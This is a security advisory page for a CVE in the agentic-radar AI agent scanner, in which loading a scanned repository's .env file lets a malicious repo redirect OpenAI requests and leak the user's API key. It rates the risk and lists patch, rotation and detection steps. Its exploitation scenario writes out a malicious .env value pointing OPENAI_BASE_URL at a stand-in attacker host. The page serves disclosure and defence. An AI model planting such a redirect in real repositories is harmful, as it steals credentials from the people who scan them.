CVE-2026-132122: agentic-radar: untrusted .env load leaks OpenAI API key
MEDIUMagentic-radar, an AI agent security scanner, loads the .env file from whatever repository it scans, so a malicious repo can set OPENAI_BASE_URL and redirect the scanner's OpenAI requests, including the user's API key, to an attacker-controlled host. Exposure is limited: CVSS is 4.7 (medium), it needs local execution with user interaction (scanning an untrusted repo), and there is no EPSS data, KEV listing, public exploit or Nuclei template. The irony matters, though. Security teams and CI pipelines that scan third-party or customer-submitted agent code with the `scan openai-agents` or `--harden-prompts` options are exactly the population that would hold a privileged OpenAI key. Upgrade to agentic-radar 0.14.2 or later, rotate any OpenAI keys used while scanning untrusted repositories with affected versions, and review egress logs for unexpected base URLs.
What is the risk?
Medium overall. The CVSS vector (AV:L/AC:H/UI:R) reflects that the attacker must get the victim to scan a repository they control and that the scan must use OpenAI-backed features. Impact is confined to confidentiality of the API key (C:H, I:N, A:N). There is no known exploitation, no public exploit and no EPSS score, so the likelihood is low. Risk rises in CI/CD and shared analyst workstations, where a high-quota or organization-wide key is present and untrusted repositories are scanned routinely. The leaked key enables billing abuse and access to anything the key's project can reach.
How does the attack unfold?
How severe is it?
What is the attack surface?
What should I do?
1 step1) Upgrade agentic-radar to 0.14.2 or later (fix in splx-ai/agentic-radar PR #134, commit b99bb14). 2) Rotate OpenAI API keys that were present in the environment when scanning untrusted repositories with affected versions, and check usage dashboards for anomalous spend or unfamiliar IPs. 3) Until patched, scan untrusted repositories only in isolated containers with a scoped, low-quota, short-lived key and egress allow-listing to api.openai.com. 4) Remove or inspect .env files in repositories before scanning, and explicitly set OPENAI_BASE_URL in the runner environment. 5) Detect: alert on outbound traffic from scanner hosts to non-OpenAI domains, and audit CI jobs that invoke agentic-radar for affected versions via SBOM or pip freeze.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-132122?
agentic-radar, an AI agent security scanner, loads the .env file from whatever repository it scans, so a malicious repo can set OPENAI_BASE_URL and redirect the scanner's OpenAI requests, including the user's API key, to an attacker-controlled host. Exposure is limited: CVSS is 4.7 (medium), it needs local execution with user interaction (scanning an untrusted repo), and there is no EPSS data, KEV listing, public exploit or Nuclei template. The irony matters, though. Security teams and CI pipelines that scan third-party or customer-submitted agent code with the `scan openai-agents` or `--harden-prompts` options are exactly the population that would hold a privileged OpenAI key. Upgrade to agentic-radar 0.14.2 or later, rotate any OpenAI keys used while scanning untrusted repositories with affected versions, and review egress logs for unexpected base URLs.
Is CVE-2026-132122 actively exploited?
No confirmed active exploitation of CVE-2026-132122 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-132122?
1) Upgrade agentic-radar to 0.14.2 or later (fix in splx-ai/agentic-radar PR #134, commit b99bb14). 2) Rotate OpenAI API keys that were present in the environment when scanning untrusted repositories with affected versions, and check usage dashboards for anomalous spend or unfamiliar IPs. 3) Until patched, scan untrusted repositories only in isolated containers with a scoped, low-quota, short-lived key and egress allow-listing to api.openai.com. 4) Remove or inspect .env files in repositories before scanning, and explicitly set OPENAI_BASE_URL in the runner environment. 5) Detect: alert on outbound traffic from scanner hosts to non-OpenAI domains, and audit CI jobs that invoke agentic-radar for affected versions via SBOM or pip freeze.
What systems are affected by CVE-2026-132122?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, CI/CD security scanning pipelines, LLM API integrations, developer workstations running AI security tooling.
What is the CVSS score for CVE-2026-132122?
CVE-2026-132122 has a CVSS v3.1 base score of 4.7 (MEDIUM).
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0011User ExecutionAML.T0055Unsecured CredentialsAML.T0081Modify AI Agent ConfigurationAML.T0083Credentials from AI Agent ConfigurationCompliance Controls Affected
What are the technical details?
Original Advisory
agentic-radar 0.7.0 before 0.14.2 contains an untrusted configuration loading vulnerability that allows malicious repositories to inject environment variables by having load_dotenv() in agentic_radar/cli.py load the scanned repository's .env file. Attackers can set OPENAI_BASE_URL to an attacker-controlled host so that scan openai-agents or --harden-prompts send requests carrying the user's OpenAI API key to the attacker.
Exploitation Scenario
An attacker publishes a plausible-looking open-source agent project, or submits a pull request or customer sample, containing a .env file with OPENAI_BASE_URL=https://attacker.example/v1. A security engineer or CI job runs `agentic-radar scan openai-agents --harden-prompts` against the repo. load_dotenv() ingests the malicious .env, and the OpenAI client sends its requests to the attacker's server, exposing the bearer API key and the prompts and agent source code. The attacker's server can proxy the calls to OpenAI so the scan still completes normally, hiding the compromise, and then reuses the key for abuse or access to the victim's OpenAI project.
Weaknesses (CWE)
CWE-15 — External Control of System or Configuration Setting: One or more system settings or configuration elements can be externally controlled by a user.
- [Architecture and Design] Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
- [Implementation, Architecture and Design] Because setting manipulation covers a diverse set of functions, any attempt at illustrating it will inevitably be incomplete. Rather than searching for a tight-knit relationship between the functions addressed in the setting manipulation category, take a step back and consider the sorts of system values that an attacker should not be allowed to control.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:NReferences
- github.com/Teycir/agentic-radar-cve
- github.com/splx-ai/agentic-radar
- github.com/splx-ai/agentic-radar/commit/b99bb14fc1d9c4bab0bf2752d4547f79077960fe
- github.com/splx-ai/agentic-radar/pull/134
- github.com/splx-ai/agentic-radar/releases/tag/v0.14.2
- vulncheck.com/advisories/agentic-radar-0.7.0-before-0.14.2-openai-api-key-leak-via-untrusted-env-loading
Timeline
Related Vulnerabilities
CVE-2024-291210.0BentoML: RCE via insecure deserialization (CVSS 10)
Same attack type: Supply ChainCVE-2025-5952810.0Flowise: Unauthenticated RCE via MCP config injection
Same attack type: Supply ChainCVE-2023-376510.0MLflow: path traversal allows arbitrary file read
Same attack type: Data LeakageCVE-2025-512010.0smolagents: sandbox escape enables unauthenticated RCE
Same attack type: Data LeakageGHSA-vvpj-8cmc-gx3910.0picklescan: security flaw enables exploitation
Same attack type: Supply Chain